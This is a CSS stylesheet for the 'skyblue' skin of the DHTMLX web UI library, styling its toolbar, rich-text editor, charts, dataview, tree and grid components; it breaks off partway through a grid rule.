div.dhx_toolbar_btn .dhxtoolbar_input {\n  position: relative;\n  float: left;\n  border: 1px solid #c3c3c3;\n  background-color: white;\n  margin: 1px;\n  padding: 2px 4px 3px 4px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  line-height: normal;\n  direction: ltr;\n  outline: none;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn .dhxtoolbar_input:disabled {\n  background-color: #e7eef8;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn div.dhxtoolbar_text,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw div.arwimg {\n  float: left;\n  font: inherit;\n  height: 18px;\n  line-height: 17px;\n  margin: 2px 4px;\n  padding: 0px;\n  cursor: default;\n  overflow: hidden;\n  white-space: nowrap;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw {\n  margin-left: -3px;\n  z-index: 1;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw div.arwimg {\n  margin: 2px 0px;\n  padding: 0px 3px;\n  background-image: url(\"imgs/dhxtoolbar_skyblue/dhxtoolbar_arrow.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_arw.dhxtoolbar_btn_dis div.arwimg {\n  background-image: url(\"imgs/dhxtoolbar_skyblue/dhxtoolbar_arrow_dis.gif\");\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_sep {\n  float: left;\n  border-left: 1px solid #c8d7dc;\n  height: 20px;\n  margin: 5px 6px 0px 5px;\n  overflow: hidden;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_text {\n  float: left;\n  vertical-align: middle;\n  margin-top: 3px;\n  padding: 3px 5px;\n  line-height: 17px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_l,\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_m,\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_r {\n  float: left;\n  height: 5px;\n  line-height: 1px;\n  margin: 8px 0px 6px 0px;\n  padding: 0px;\n  width: 2px;\n  font-size: 1px;\n  border-top: 1px solid #acbcc5;\n  border-bottom: 1px solid #acbcc5;\n  background-color: #efefef;\n  overflow: hidden;\n}\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_l {\n  margin-left: 4px;\n  border-left: 1px solid #acbcc5;\n  border-top-left-radius: 2px;\n  border-bottom-left-radius: 2px;\n}\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_bg_r {\n  margin-right: 4px;\n  border-right: 1px solid #acbcc5;\n  border-top-right-radius: 2px;\n  border-bottom-right-radius: 2px;\n}\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_pen,\n.dhx_toolbar_dhx_skyblue div.dhxtoolbar_sl_pen.dhxtoolbar_over {\n  position: absolute;\n  top: 5px;\n  width: 7px;\n  height: 14px;\n  border: 1px solid #c3c3c3;\n  background-color: #ebebec;\n  background: linear-gradient(#ebebec, #e6e5e5);\n  background: -webkit-linear-gradient(#ebebec, #e6e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ebebec, endColorStr=#e6e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border-radius: 1px;\n  cursor: default;\n  font-size: 1px;\n  line-height: 1px;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_pen {\n  border-color: #c9c9c9;\n  background-color: #e5e5e5;\n  background: linear-gradient(#e5e5e5, #e0e0e0);\n  background: -webkit-linear-gradient(#e5e5e5, #e0e0e0);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e5e5e5, endColorStr=#e0e0e0) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_bg_l,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_bg_m,\n.dhx_toolbar_dhx_skyblue div.dhx_toolbar_btn.dhxtoolbar_btn_dis div.dhxtoolbar_sl_bg_r {\n  border-color: #c9c9c9;\n  background-color: #e9e9e9;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 {\n  height: 36px !important;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_arw {\n  height: 28px;\n  *height: 26px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn img {\n  width: 24px;\n  height: 24px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn div.dhxtoolbar_text,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_arw div.arwimg {\n  height: 24px;\n  line-height: 23px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_text {\n  padding-top: 6px;\n  padding-bottom: 6px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_sep {\n  height: 26px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_bg_l,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_bg_m,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_bg_r {\n  margin-top: 11px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhxtoolbar_sl_pen {\n  top: 8px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_24 div.dhx_toolbar_btn .dhxtoolbar_input {\n  margin-top: 4px;\n  margin-bottom: 4px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 {\n  height: 44px !important;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_arw {\n  height: 36px;\n  *height: 34px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn img {\n  width: 32px;\n  height: 32px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn div.dhxtoolbar_text,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_arw div.arwimg {\n  height: 32px;\n  line-height: 31px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_text {\n  padding-top: 10px;\n  padding-bottom: 10px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_sep {\n  height: 34px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_bg_l,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_bg_m,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_bg_r {\n  margin-top: 15px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhxtoolbar_sl_pen {\n  top: 12px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_32 div.dhx_toolbar_btn .dhxtoolbar_input {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 {\n  height: 60px !important;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_arw {\n  height: 52px;\n  *height: 50px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn img {\n  width: 48px;\n  height: 48px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn div.dhxtoolbar_text,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_arw div.arwimg {\n  height: 48px;\n  line-height: 47px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_text {\n  padding-top: 18px;\n  padding-bottom: 18px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_sep {\n  height: 50px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_bg_l,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_bg_m,\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_bg_r {\n  margin-top: 23px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhxtoolbar_sl_pen {\n  top: 20px;\n}\n.dhx_toolbar_dhx_skyblue.dhxtoolbar_icons_48 div.dhx_toolbar_btn .dhxtoolbar_input {\n  margin-top: 16px;\n  margin-bottom: 16px;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue {\n  position: absolute;\n  border: 1px solid #c3c3c3;\n  box-shadow: 0 0 3px #ccc;\n  padding: 3px 0px;\n  border-bottom-left-radius: 2px;\n  border-bottom-right-radius: 2px;\n  border-top-right-radius: 2px;\n  background-color: #efefef;\n  overflow: hidden;\n  cursor: default;\n  line-height: normal;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue td {\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  line-height: normal;\n  padding: 0px 3px;\n  border-top: 1px solid #efefef;\n  border-bottom: 1px solid #efefef;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue .tr_btn_over td,\ndiv.dhx_toolbar_poly_dhx_skyblue .tr_btn_selected td {\n  background-color: #bddcef;\n  border-top: 1px solid #a9cce4;\n  border-bottom: 1px solid #a9cce4;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue .tr_btn_disabled td {\n  color: #999999;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue td.td_btn_img {\n  width: 18px;\n  text-align: center;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue td.td_btn_img img.btn_sel_img {\n  width: 18px;\n  height: 18px;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue td.td_btn_txt div.btn_sel_text {\n  padding: 0px 12px 0px 1px;\n  height: 22px;\n  line-height: 21px;\n  overflow: hidden;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue tr.tr_sep td {\n  padding: 2px 0px;\n}\ndiv.dhx_toolbar_poly_dhx_skyblue div.btn_sep {\n  position: relative;\n  font-size: 1px;\n  line-height: 1px;\n  height: 0px;\n  width: 100%;\n  border-top: 1px solid #acbcc5;\n}\ndiv.dhx_toolbar_slider_label_dhx_skyblue {\n  position: absolute;\n  border: 1px solid #c3c3c3;\n  box-shadow: 0 0 3px #ccc;\n  background-color: #efefef;\n  padding: 5px 8px;\n  border-radius: 2px;\n  overflow: hidden;\n  cursor: default;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  line-height: normal;\n}\n.dhxtoolbar_maxopen_test {\n  position: absolute;\n  width: 200px;\n  height: 50px;\n  overflow-x: none;\n  overflow-y: auto;\n  left: -300px;\n  top: 100px;\n  border: 1px solid white;\n  visibility: hidden;\n}\n.dhxtoolbar_maxopen_test2 {\n  height: 200px;\n}\n.dhxacc_base_dhx_skyblue div.dhx_cell_acc div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging,\n.dhxlayout_base_dhx_skyblue div.dhx_cell_layout div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging,\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging {\n  position: relative;\n  height: 32px;\n  line-height: 31px;\n  margin-top: -1px;\n  overflow: hidden;\n  white-space: nowrap;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging {\n  margin-top: 0px;\n  height: 31px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging {\n  position: relative;\n  height: 32px;\n  line-height: 31px;\n  margin-top: 3px;\n  overflow: hidden;\n  white-space: nowrap;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging .dhx_toolbar_dhx_skyblue,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_paging .dhx_toolbar_dhx_skyblue {\n  border-width: 0px;\n  background-image: none;\n}\n.dhxeditor_dhx_skyblue {\n  position: relative;\n}\n.dhxeditor_dhx_skyblue iframe.dhxeditor_mainiframe {\n  position: absolute;\n  overflow: hidden;\n  top: 0px;\n  left: 0px;\n  width: 100%;\n  height: 100%;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb {\n  position: relative;\n  height: 30px;\n  padding: 0px 5px;\n  border-bottom: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button {\n  float: left;\n  position: relative;\n  width: 18px;\n  height: 18px;\n  font-size: 2px;\n  margin-left: 5px;\n  margin-top: 7px;\n  cursor: pointer;\n  background-image: url(\"imgs/dhxeditor_skyblue/buttons.gif\");\n  opacity: 1;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_bold {\n  margin-left: 5px;\n  background-position: 0px 0px;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_italic {\n  background-position: -18px 0px;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_underline {\n  background-position: -36px 0px;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb div.dhx_cell_stb_button.btn_clearformat {\n  background-position: -54px 0px;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor {\n  position: absolute;\n  background-color: white;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  cursor: default;\n  z-index: 0;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_cont_editor {\n  position: absolute;\n  overflow: hidden;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def {\n  position: relative;\n  overflow: hidden;\n}\n.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-top-width: 0px;\n  border-left-width: 0px;\n  border-right-width: 0px;\n}\ndiv.dhxform_item_template div.dhx_cell_editor div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-left-width: 1px;\n  border-right-width: 1px;\n  border-top-width: 1px;\n}\n.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb,\n.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-top: 1px solid #c3c3c3;\n}\n.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_cont_editor {\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n}\n.dhxwins_vp_dhx_skyblue div.dhx_cell_cont_wins div.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_toolbar_def {\n  padding: 0px;\n}\n.dhxeditor_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhx_tooltip {\n  display: none;\n  position: absolute;\n  font-family: Tahoma;\n  color: #626262;\n  font-size: 12px;\n  z-index: 10000;\n  padding: 4px 10px 4px 10px;\n  border: 1px solid #fff;\n  border-radius: 3px;\n  -moz-border-radius: 3px;\n  -webkit-border-radius: 3px;\n  -moz-box-shadow: 0 0 3px #d9d9d9;\n  -webkit-box-shadow: 0 0 3px #d9d9d9;\n  text-shadow: 0px 1px 1px #fff;\n  box-shadow: 0 0 5px #d9d9d9;\n  background: -webkit-gradient(linear, left top, left bottom, color-stop(0, #efefef), color-stop(0.5, #f6f6f6), color-stop(1, #efefef));\n  background: -o-linear-gradient(#efefef 0%, #f6f6f6 50%, #efefef 100%);\n  background: -ms-linear-gradient(#efefef 0%, #f6f6f6 50%, #efefef 100%);\n  background: -moz-linear-gradient(#efefef 0%, #f6f6f6 50%, #efefef 100%);\n  background: #efefef;\n}\n.dhx_chart {\n  position: relative;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  overflow: hidden;\n}\n.dhx_chart canvas {\n  position: absolute;\n  left: 0;\n  top: 0;\n}\n/*labels*/\n.dhx_canvas_text {\n  position: absolute;\n  text-align: center;\n  overflow: hidden;\n  white-space: nowrap;\n  z-index: 1000;\n}\n/*map*/\n.dhx_map_img {\n  width: 100%;\n  height: 100%;\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  border: 0px;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  opacity: 0;\n}\n/*scales*/\n.dhx_axis_item_y {\n  position: absolute;\n  height: 18px;\n  line-height: 18px;\n  /*line-height:10px;*/\n  margin-top: -4px;\n  text-align: right;\n}\n.dhx_axis_title_x {\n  text-align: center;\n}\n.dhx_axis_title_y {\n  text-align: center;\n  font-family: Tahoma;\n  /*safari*/\n  -webkit-transform: rotate(-90deg);\n  /*firefox*/\n  -moz-transform: rotate(-90deg);\n  /*opera*/\n  -o-transform: rotate(-90deg);\n  /*IE9*/\n  -ms-transform: rotate(-90deg);\n  transform: rotate(-90deg);\n  height: 18px;\n  line-height: 18px;\n  font-size: 12px;\n  /*padding-left:3px;*/\n}\n.dhx_ie_filter {\n  /*IE8*/\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);\n  zoom: 1;\n  font-family: serif;\n}\n/*legend block*/\n.dhx_chart_legend {\n  position: absolute;\n  z-index: 1000;\n}\n.dhx_chart_legend_item {\n  height: 18px;\n  line-height: 18px;\n  padding: 2px;\n  cursor: pointer;\n}\n.dhx_chart_legend_item.hidden {\n  color: #aaa;\n}\n.dhx_axis_item_y.dhx_radar {\n  color: #666666;\n  font-size: 12px;\n  padding-right: 3px;\n  height: 13px;\n  line-height: 13px;\n  margin-top: 0px;\n}\n.dhx_canvas_text.dhx_axis_radar_title {\n  margin-top: 0px;\n  padding-top: 0px;\n}\n.dhx_axis_item_y,\n.dhx_axis_item_x {\n  color: #666666;\n}\n.dhx_axis_item_x {\n  padding-top: 2px;\n}\n.dhx_tooltip {\n  display: none;\n  position: absolute;\n  font-family: Tahoma;\n  color: #626262;\n  font-size: 12px;\n  z-index: 10000;\n  padding: 4px 10px 4px 10px;\n  border: 1px solid #fff;\n  border-radius: 3px;\n  -moz-border-radius: 3px;\n  -webkit-border-radius: 3px;\n  -moz-box-shadow: 0 0 3px #d9d9d9;\n  -webkit-box-shadow: 0 0 3px #d9d9d9;\n  text-shadow: 0px 1px 1px #fff;\n  box-shadow: 0 0 5px #d9d9d9;\n  background: -webkit-gradient(linear, left top, left bottom, color-stop(0, #efefef), color-stop(0.5, #f6f6f6), color-stop(1, #efefef));\n  background: -o-linear-gradient(#efefef 0%, #f6f6f6 50%, #efefef 100%);\n  background: -ms-linear-gradient(#efefef 0%, #f6f6f6 50%, #efefef 100%);\n  background: -moz-linear-gradient(#efefef 0%, #f6f6f6 50%, #efefef 100%);\n  background: #efefef;\n}\n.dhx_noselect {\n  -moz-user-select: none;\n  -moz-user-select: -moz-none;\n  /*latest ff*/\n  -khtml-user-select: none;\n}\n/*helper for allowing selection*/\n.dhx_allow_selection {\n  -moz-user-select: text;\n  -user-select: text;\n}\n/*top container of DataView*/\n.dhx_dataview {\n  overflow-y: auto;\n  -webkit-overflow-scrolling: touch;\n  overflow-x: hidden;\n  -moz-user-select: none;\n  -moz-user-select: -moz-none;\n  /*latest ff*/\n  -khtml-select: none;\n}\n/*applied to a dragged element*/\n.dhx_drag_zone {\n  position: absolute;\n  border: 1px solid #A4BED4;\n  z-index: 8000;\n  -moz-box-shadow: 5px 5px 5px #888;\n  /*Not work in IE*/\n  -khtml-box-shadow: 5px 5px 5px #888;\n}\n/*style is applied to the active drop target*/\n/*default item in dataview*/\n.dhx_dataview_default_item,\n.dhx_dataview_default_item_selected {\n  cursor: pointer;\n  background-color: #ffffff;\n}\n.dhx_dataview .dhx_dataview_default_item,\n.dhx_dataview .dhx_dataview_default_item_selected {\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px dotted #c3c3c3;\n}\n/*default item in selected state*/\n.dhx_dataview_default_item_selected {\n  background-color: #b6d5ff;\n  color: #b6d5ff;\n  border-color: #b6d5ff;\n  background-repeat: repeat-x;\n}\n/*defautl styles which will be used by any kind of dataview's item*/\n.dhx_dataview_item {\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n/*predefined styles for text lables inside a item*/\n.dhx_dataview_item .dhx_strong {\n  font-weight: bold;\n  display: block;\n  padding-bottom: 6px;\n}\n.dhx_dataview_default_item_selected .dhx_light {\n  color: #C3C3C3;\n}\n.dhx_dataview_item .dhx_light {\n  color: #919191;\n}\n/*style of dataview's item, when drag is moved other it*/\n.dhx_drag_over {\n  background-color: #faf768;\n  background-image: url(\"imgs/dhxdataview_skyblue/marker.png\");\n  background-repeat: repeat-x;\n}\n/*paging related styles*/\n/*button of pager*/\n.dhx_pager_item,\n.dhx_pager_item_selected {\n  float: left;\n  text-align: center;\n  height: 16px;\n  font-family: Tahoma;\n  font-size: 10pt;\n  border: 1px solid gray;\n  padding: 2px 4px;\n  margin-left: 5px;\n  cursor: pointer;\n  background-color: white;\n}\n/*selected  button of pager*/\n.dhx_pager_item_selected {\n  background-color: lightgrey;\n  color: white;\n  cursor: default;\n  font-weight: bold;\n}\n.defaultTreeTable {\n  margin: 0px;\n  padding: 0px;\n  border: 0px;\n}\n.containerTableStyle {\n  overflow: auto;\n  -webkit-overflow-scrolling: touch;\n  position: relative;\n  top: 0;\n  font-size: 12px;\n  -khtml-user-select: none;\n}\n.containerTableStyleRTL span {\n  direction: rtl;\n  unicode-bidi: bidi-override;\n}\n.containerTableStyleRTL {\n  direction: rtl;\n  overflow: auto;\n  position: relative;\n  top: 0;\n  font-size: 12px;\n}\n.standartTreeRow {\n  font-family: Tahoma;\n  font-size: 13px;\n  -moz-user-select: none;\n}\n.selectedTreeRow {\n  background-color: navy;\n  color: white;\n  font-family: Tahoma;\n  font-size: 13px;\n  -moz-user-select: none;\n}\n.dragAndDropRow {\n  background-color: navy;\n  color: white;\n}\n.standartTreeRow_lor {\n  text-decoration: underline;\n  background-color: #ffffff;\n  font-family: Tahoma;\n  font-size: 13px;\n  -moz-user-select: none;\n}\n.selectedTreeRow_lor {\n  text-decoration: underline;\n  background-color: navy;\n  color: white;\n  font-family: Tahoma;\n  font-size: 13px;\n  -moz-user-select: none;\n}\n.standartTreeImage {\n  height: 24px;\n  overflow: hidden;\n  border: 0;\n  padding: 0;\n  margin: 0;\n  font-size: 1px;\n}\n.standartTreeImage img {\n  width: 18px;\n  height: 24px;\n  background-position: center center;\n  background-repeat: no-repeat;\n  border: 0;\n  padding: 0;\n  margin: 0;\n  font-size: 1px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.hiddenRow {\n  width: 1px;\n  overflow: hidden;\n}\n.dragSpanDiv,\n.dragSpanDiv td {\n  font-family: Tahoma;\n  font-size: 12px;\n  background-color: #ffffff;\n  z-index: 999;\n}\n.a_dhx_hidden_input {\n  position: absolute;\n  top: -1px;\n  left: -1px;\n  width: 1px;\n  height: 1px;\n  border: none;\n  background: none;\n}\n.a_dhx_hidden_input {\n  position: absolute;\n  top: -1px;\n  left: -1px;\n  width: 1px;\n  height: 1px;\n  border: none;\n  background: none;\n}\n.selectionBox {\n  background-color: #FFFFCC;\n}\n.selectionBar {\n  top: 0;\n  background-color: black;\n  position: absolute;\n  overflow: hidden;\n  height: 2px;\n  z-index: 11;\n}\n.intreeeditRow {\n  font-size: 8pt;\n  height: 16px;\n  border: 1px solid silver;\n  padding: 0;\n  margin: 0;\n  margin-left: 4px;\n  -moz-user-select: text;\n  -khtml-user-select: text;\n}\n.dhx_tree_textSign {\n  font-size: 8pt;\n  font-family: monospace;\n  width: 21px;\n  color: #000000;\n  padding: 0px;\n  margin: 0px;\n  cursor: pointer;\n  text-align: center;\n}\n.dhx_tree_opacity {\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_bg_img_fix {\n  width: 18px;\n  height: 24px;\n  background-repeat: no-repeat;\n  background-position: center;\n  background-position-x: center;\n  background-position-y: center;\n}\n.dhxtree_dhx_skyblue {\n  background-color: #ffffff;\n  color: #000000;\n}\n*html .dhxtree_dhx_skyblue .standartTreeRow,\n*html .dhxtree_dhx_skyblue .standartTreeRow_lor {\n  border-right: 0px solid red;\n  border-left: 0px solid red;\n}\n*html .dhxtree_dhx_skyblue span.standartTreeRow,\n*html .dhxtree_dhx_skyblue span.standartTreeRow_lor {\n  margin-left: 1px;\n}\n.dhxtree_dhx_skyblue .standartTreeRow,\n.dhxtree_dhx_skyblue .standartTreeRow_lor {\n  border-right: 1px solid transparent;\n  border-left: 1px solid transparent;\n  font-family: Tahoma;\n  font-size: 13px;\n  overflow: hidden;\n  padding: 0px 0px 0px 0px;\n}\n.dhxtree_dhx_skyblue .selectedTreeRow_lor,\n.dhxtree_dhx_skyblue .selectedTreeRow {\n  /*修改文件夹选中背景颜色*/\n  background-color: #E8E8E8;\n  /*background-color: #b6d5ff;*/\n  background-repeat: repeat-x;\n  border: 1px solid #C3C3C3;\n  /*border: 1px solid #b6d5ff;*/\n  color: #000000;\n  line-height: 17px;\n  font-family: Tahoma;\n  font-size: 13px;\n  overflow: hidden;\n}\nhtml > body .dhxtree_dhx_skyblue .selectedTreeRow,\nhtml > body .dhxtree_dhx_skyblue .selectedTreeRow_lor {\n  padding: 1px 0px 1px 0px;\n  line-height: normal;\n  *display: inline-block;\n  height: 13px;\n}\nbody:nth-of-type(1) .dhxtree_dhx_skyblue span.selectedTreeRow,\nbody:nth-of-type(1) .dhxtree_dhx_skyblue span.selectedTreeRow_lor {\n  padding: 1px 0px 1px 0px;\n  padding-top: 0px;\n  box-sizing: border-box;\n  line-height: 12px;\n  height: 13px;\n}\n.dhxtree_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\ndiv.gridbox {\n  overflow: hidden;\n  text-align: left;\n}\n.dhx_sub_row {\n  background-color: #ffffff;\n}\ndiv.gridbox table.obj {\n  height: 1px;\n}\ndiv.gridbox table.hdr td {\n  line-height: normal;\n  border: 1px solid;\n  border-color: #ffffff #808080 #808080 #ffffff;\n  text-align: center;\n  margin: 0px;\n  padding: 7px 0px 7px 0px;\n  font-weight: normal;\n  overflow: hidden;\n  empty-cells: show;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: 